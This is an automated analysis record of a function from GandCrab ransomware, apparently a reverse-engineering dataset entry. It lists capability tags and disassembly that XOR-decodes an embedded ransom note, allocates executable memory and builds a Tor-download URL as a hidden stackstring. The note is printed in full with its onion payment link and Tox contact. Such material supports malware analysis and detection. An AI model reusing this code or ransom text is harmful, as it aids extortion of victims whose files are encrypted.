Function at 0xf5a40e0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
cmp dword [0xf5b2a64], 0
push esi
push edi
jne 0xf5a43c8
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0xe0]
call fcn.0f5a39f0
lea ecx, [esp + 0x88]
call fcn.0f5a7330
lea ecx, [esp + 0x88]
call fcn.0f5a7140
mov esi, eax
push 0x40
push 0x3000
lea edi, [esi*2 + 0x42]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x80], eax
test eax, eax
je 0xf5a4171
lea ecx, [esi*2 + 0x40]
cmp ecx, edi
jae 0xf5a4171
mov esi, eax
jmp 0xf5a4173
xor esi, esi
push esi
lea ecx, [esp + 0x8c]
call fcn.0f5a6f40
mov edx, str.ransom_id
mov ecx, esi
call fcn.0f5a8090
push str.ransom_id
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movdqa xmm1, xmmword [0xf5b04a0]
mov ecx, str.____GANDCRAB______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n1._Download_Tor_browser___https:__www.torproject.org___r_r_n2._Install_Tor_browser__r_r_n3._Open_Tor_Browser__r_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_3a23db8448d3b2b__________________________r_r_n5._Follow_the_instructions_on_this_page__r_r_n__________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nIf_you_cant_download_TOR_and_use_it__or_in_your_country_TOR_blocked__read_it:_r_n1._Visit_https:__tox.chat_download.html_r_n2._Download_and_install_qTOX_on_your_PC._r_n3._Open_it__click__New_Profile__and_create_profile._r_n4._Search_our_contact___6C5AD4057E594E090E0C987B3089F74335DA75F04B7403E0575663C261349569F64D28CDCF45_r_n5._In_message_please_write_your_ID_and_wait_our_answer:_3a23db8448d3b2b_____________________________r_n_r_r_nDANGEROUS___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever_
mov edx, 0xa3
lea esi, [esi + eax*2]
mov eax, 0xa30
mov dword [esp + 0x84], esi
lea ebx, [ebx]
lea ecx, [ecx + 0x10]
movdqu xmm0, xmmword [ecx - 0x10]
pxor xmm0, xmm1
movdqu xmmword [ecx - 0x10], xmm0
dec edx
jne 0xf5a41c0
jmp 0xf5a41e0
xor byte [eax + str.____GANDCRAB______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n1._Download_Tor_browser___https:__www.torproject.org___r_r_n2._Install_Tor_browser__r_r_n3._Open_Tor_Browser__r_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_3a23db8448d3b2b__________________________r_r_n5._Follow_the_instructions_on_this_page__r_r_n__________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nIf_you_cant_download_TOR_and_use_it__or_in_your_country_TOR_blocked__read_it:_r_n1._Visit_https:__tox.chat_download.html_r_n2._Download_and_install_qTOX_on_your_PC._r_n3._Open_it__click__New_Profile__and_create_profile._r_n4._Search_our_contact___6C5AD4057E594E090E0C987B3089F74335DA75F04B7403E0575663C261349569F64D28CDCF45_r_n5._In_message_please_write_your_ID_and_wait_our_answer:_3a23db8448d3b2b_____________________________r_n_r_r_nDANGEROUS___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever_], 5
inc eax
cmp eax, 0xa38
jb 0xf5a41e0
mov edx, str.USERID
mov dword [0xf5b2a64], 0xf5b2000
mov ecx, str.____GANDCRAB______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n1._Download_Tor_browser___https:__www.torproject.org___r_r_n2._Install_Tor_browser__r_r_n3._Open_Tor_Browser__r_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_3a23db8448d3b2b__________________________r_r_n5._Follow_the_instructions_on_this_page__r_r_n__________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nIf_you_cant_download_TOR_and_use_it__or_in_your_country_TOR_blocked__read_it:_r_n1._Visit_https:__tox.chat_download.html_r_n2._Download_and_install_qTOX_on_your_PC._r_n3._Open_it__click__New_Profile__and_create_profile._r_n4._Search_our_contact___6C5AD4057E594E090E0C987B3089F74335DA75F04B7403E0575663C261349569F64D28CDCF45_r_n5._In_message_please_write_your_ID_and_wait_our_answer:_3a23db8448d3b2b_____________________________r_n_r_r_nDANGEROUS___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever_
call fcn.0f5a8090
mov edi, eax
test edi, edi
je 0xf5a4286
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, 0x20
mov word [edi + eax*2], cx
mov edi, str.____GANDCRAB______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n1._Download_Tor_browser___https:__www.torproject.org___r_r_n2._Install_Tor_browser__r_r_n3._Open_Tor_Browser__r_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_3a23db8448d3b2b__________________________r_r_n5._Follow_the_instructions_on_this_page__r_r_n__________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nIf_you_cant_download_TOR_and_use_it__or_in_your_country_TOR_blocked__read_it:_r_n1._Visit_https:__tox.chat_download.html_r_n2._Download_and_install_qTOX_on_your_PC._r_n3._Open_it__click__New_Profile__and_create_profile._r_n4._Search_our_contact___6C5AD4057E594E090E0C987B3089F74335DA75F04B7403E0575663C261349569F64D28CDCF45_r_n5._In_message_please_write_your_ID_and_wait_our_answer:_3a23db8448d3b2b_____________________________r_n_r_r_nDANGEROUS___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever_
mov ax, word [str.____GANDCRAB______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n1._Download_Tor_browser___https:__www.torproject.org___r_r_n2._Install_Tor_browser__r_r_n3._Open_Tor_Browser__r_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_3a23db8448d3b2b__________________________r_r_n5._Follow_the_instructions_on_this_page__r_r_n__________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nIf_you_cant_download_TOR_and_use_it__or_in_your_country_TOR_blocked__read_it:_r_n1._Visit_https:__tox.chat_download.html_r_n2._Download_and_install_qTOX_on_your_PC._r_n3._Open_it__click__New_Profile__and_create_profile._r_n4._Search_our_contact___6C5AD4057E594E090E0C987B3089F74335DA75F04B7403E0575663C261349569F64D28CDCF45_r_n5._In_message_please_write_your_ID_and_wait_our_answer:_3a23db8448d3b2b_____________________________r_n_r_r_nDANGEROUS___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever_]
test ax, ax
je 0xf5a4286
mov esi, edi
movzx ecx, ax
sub esi, str.USERID
mov eax, str.USERID
test cx, cx
je 0xf5a4277
lea ecx, [ecx]
movzx ecx, word [eax]
test cx, cx
je 0xf5a43ce
movzx edx, word [esi + eax]
sub edx, ecx
jne 0xf5a426d
add eax, 2
cmp word [esi + eax], dx
jne 0xf5a4250
cmp word [eax], 0
je 0xf5a43ce
movzx ecx, word [edi + 2]
add edi, 2
add esi, 2
test cx, cx
jne 0xf5a4243
cmp dword [0xf5b2a44], 0
mov dword [esp + 8], 0x740068
mov dword [esp + 0xc], 0x700074
mov dword [esp + 0x10], 0x3a0073
mov dword [esp + 0x14], 0x2f002f
mov dword [esp + 0x18], 0x770077
mov dword [esp + 0x1c], 0x2e0077
mov dword [esp + 0x20], 0x6f0074
mov dword [esp + 0x24], 0x700072
mov dword [esp + 0x28], 0x6f0072
mov dword [esp + 0x2c], 0x65006a
mov dword [esp + 0x30], 0x740063
mov dword [esp + 0x34], 0x6f002e
mov dword [esp + 0x38], 0x670072
mov dword [esp + 0x3c], 0x64002f
mov dword [esp + 0x40], 0x77006f
mov dword [esp + 0x44], 0x6c006e
mov dword [esp + 0x48], 0x61006f
mov dword [esp + 0x4c], 0x2f0064
mov dword [esp + 0x50], 0x6f0064
mov dword [esp + 0x54], 0x6e0077
mov dword [esp + 0x58], 0x6f006c
mov dword [esp + 0x5c], 0x640061
mov dword [esp + 0x60], 0x65002d
mov dword [esp + 0x64], 0x730061
mov dword [esp + 0x68], 0x2e0079
mov dword [esp + 0x6c], 0x740068
mov dword [esp + 0x70], 0x6c006d
mov dword [esp + 0x74], 0x65002e
mov dword [esp + 0x78], 0x6e
jne 0xf5a43a8
push 4
push 0x3000
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0xf5b2a44], eax
test eax, eax
je 0xf5a43a8
lea ecx, [esp + 8]
push ecx
push 0xf5af41c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push dword [esp + 0x88]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x88]
call fcn.0f5a7c10
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x84]
jmp 0xf5a4210